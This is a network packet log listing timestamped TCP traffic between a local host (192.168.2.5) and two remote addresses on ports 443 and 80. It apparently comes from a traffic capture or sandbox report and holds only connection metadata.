Oct 7, 2024 18:00:52.692730904 CEST	49918	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:52.692738056 CEST	443	49918	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:52.692954063 CEST	49918	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:52.692954063 CEST	49918	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:52.692966938 CEST	443	49918	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:52.695501089 CEST	443	49915	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:52.695976019 CEST	49915	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:52.695986986 CEST	443	49915	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:52.696391106 CEST	49915	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:52.696397066 CEST	443	49915	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:52.716964960 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.716984034 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.716995955 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.717093945 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.717104912 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.717103958 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.717118025 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.717120886 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.717130899 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.717143059 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.717174053 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.728406906 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.728436947 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.728451967 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.728482962 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.728517056 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.728709936 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.728734016 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.728749990 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.728755951 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.728774071 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.728777885 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.728792906 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.728807926 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.729166031 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.729207993 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.729336977 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.729350090 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.729363918 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.729377031 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.729392052 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.729404926 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.729434967 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.729460001 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.729758024 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.729813099 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.729816914 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.729827881 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.729840040 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.729849100 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.729854107 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.729873896 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.729907990 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.729932070 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.729943991 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.729957104 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.729969025 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.729971886 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.729990959 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.730005026 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.730171919 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.730184078 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.730205059 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.730216026 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.730223894 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.730231047 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.730251074 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.730269909 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.730463028 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.730480909 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.730492115 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.730504036 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.730513096 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.730516911 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.730525970 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.730549097 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.730819941 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.730833054 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.730843067 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.730849981 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.730894089 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.730937958 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.731110096 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.731122017 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.731132984 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.731144905 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.731156111 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.731163979 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.731169939 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.731180906 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.731182098 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.731208086 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.731225967 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.731564045 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.731576920 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.731587887 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.731601000 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.731611967 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.731622934 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.731635094 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.731648922 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.731676102 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.733386040 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.733436108 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.733455896 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.733468056 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.733493090 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.733508110 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.733532906 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.733546019 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.733556986 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.733570099 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.733581066 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.733608961 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.747826099 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.747879982 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.747891903 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.748012066 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.748034000 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.748044968 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.748056889 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.748065948 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.748078108 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.748085022 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.748106003 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.748123884 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.748275995 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.748325109 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.748347998 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.748359919 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.748370886 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.748383045 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.748393059 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.748394966 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.748425007 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.748436928 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.748759985 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.748771906 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.748781919 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.748792887 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.748802900 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.748811960 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.748812914 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.748841047 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.748853922 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.749130964 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.749144077 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.749198914 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.749274015 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.749284983 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.749299049 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.749309063 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.749315023 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.749320030 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.749325037 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.749330997 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.749336958 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.749341011 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.749352932 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.749365091 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.749372959 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.749391079 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.749414921 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.749954939 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.749965906 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.749975920 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.749999046 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.750000000 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.750010967 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.750020981 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.750024080 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.750032902 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.750042915 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.750051975 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.750055075 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.750066996 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.750077009 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.750080109 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.750098944 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.750117064 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.750631094 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.750642061 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.750652075 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.750660896 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.750673056 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.750679970 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.750684023 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.750694990 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.750710964 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.750730991 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.753510952 CEST	443	49914	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:52.754292011 CEST	443	49914	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:52.754348040 CEST	49914	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:52.754384041 CEST	49914	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:52.754391909 CEST	443	49914	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:52.754401922 CEST	49914	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:52.754410982 CEST	443	49914	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:52.757046938 CEST	49919	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:52.757076025 CEST	443	49919	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:52.757229090 CEST	49919	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:52.757265091 CEST	49919	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:52.757268906 CEST	443	49919	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:52.801453114 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.801465034 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.801476002 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.801547050 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.801562071 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.801573038 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.801584005 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.801594019 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.801601887 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.801625013 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.802192926 CEST	443	49915	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:52.802436113 CEST	443	49915	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:52.802483082 CEST	443	49915	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:52.802495003 CEST	49915	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:52.802517891 CEST	49915	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:52.802680016 CEST	49915	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:52.802695990 CEST	443	49915	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:52.802706003 CEST	49915	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:52.802712917 CEST	443	49915	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:52.805043936 CEST	49920	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:52.805058956 CEST	443	49920	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:52.805110931 CEST	49920	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:52.805244923 CEST	49920	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:52.805253983 CEST	443	49920	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:52.813003063 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.813035965 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.813046932 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.813071012 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.813122988 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.813389063 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.813400030 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.813410997 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.813421011 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.813433886 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.813472033 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.813945055 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.813956976 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.813966990 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.814002037 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.814023018 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.814048052 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.814059019 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.814070940 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.814086914 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.814101934 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.814131021 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.814383984 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.814449072 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.814460039 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.814482927 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.814512014 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.814676046 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.814687014 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.814697981 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.814707994 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.814716101 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.814724922 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.814733982 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.814744949 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.814765930 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.814819098 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.814834118 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.814845085 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.814853907 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.814865112 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.814873934 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.814877033 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.814888000 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.814898968 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.814905882 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.814928055 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.814965010 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.815150023 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.815161943 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.815172911 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.815182924 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.815187931 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.815196991 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.815207958 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.815211058 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.815222979 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.815227985 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.815238953 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.815303087 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.815465927 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.815476894 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.815488100 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.815498114 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.815509081 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.815515041 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.815521002 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.815535069 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.815552950 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.815915108 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.815927029 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.815937996 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.815948009 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.815958023 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.815965891 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.815967083 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.815984964 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.816006899 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.816036940 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.819297075 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.819308043 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.819319963 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.819365025 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.819405079 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.819417953 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.819503069 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.819514036 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.819524050 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.819540024 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.819571018 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.832807064 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.832823038 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.832835913 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.832869053 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.832876921 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.832882881 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.832896948 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.832909107 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.832920074 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.832938910 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.833122969 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.833165884 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.833173037 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.833185911 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.833198071 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.833209038 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.833209991 CEST	80	49831	95.164.90.97	192.168.2.5
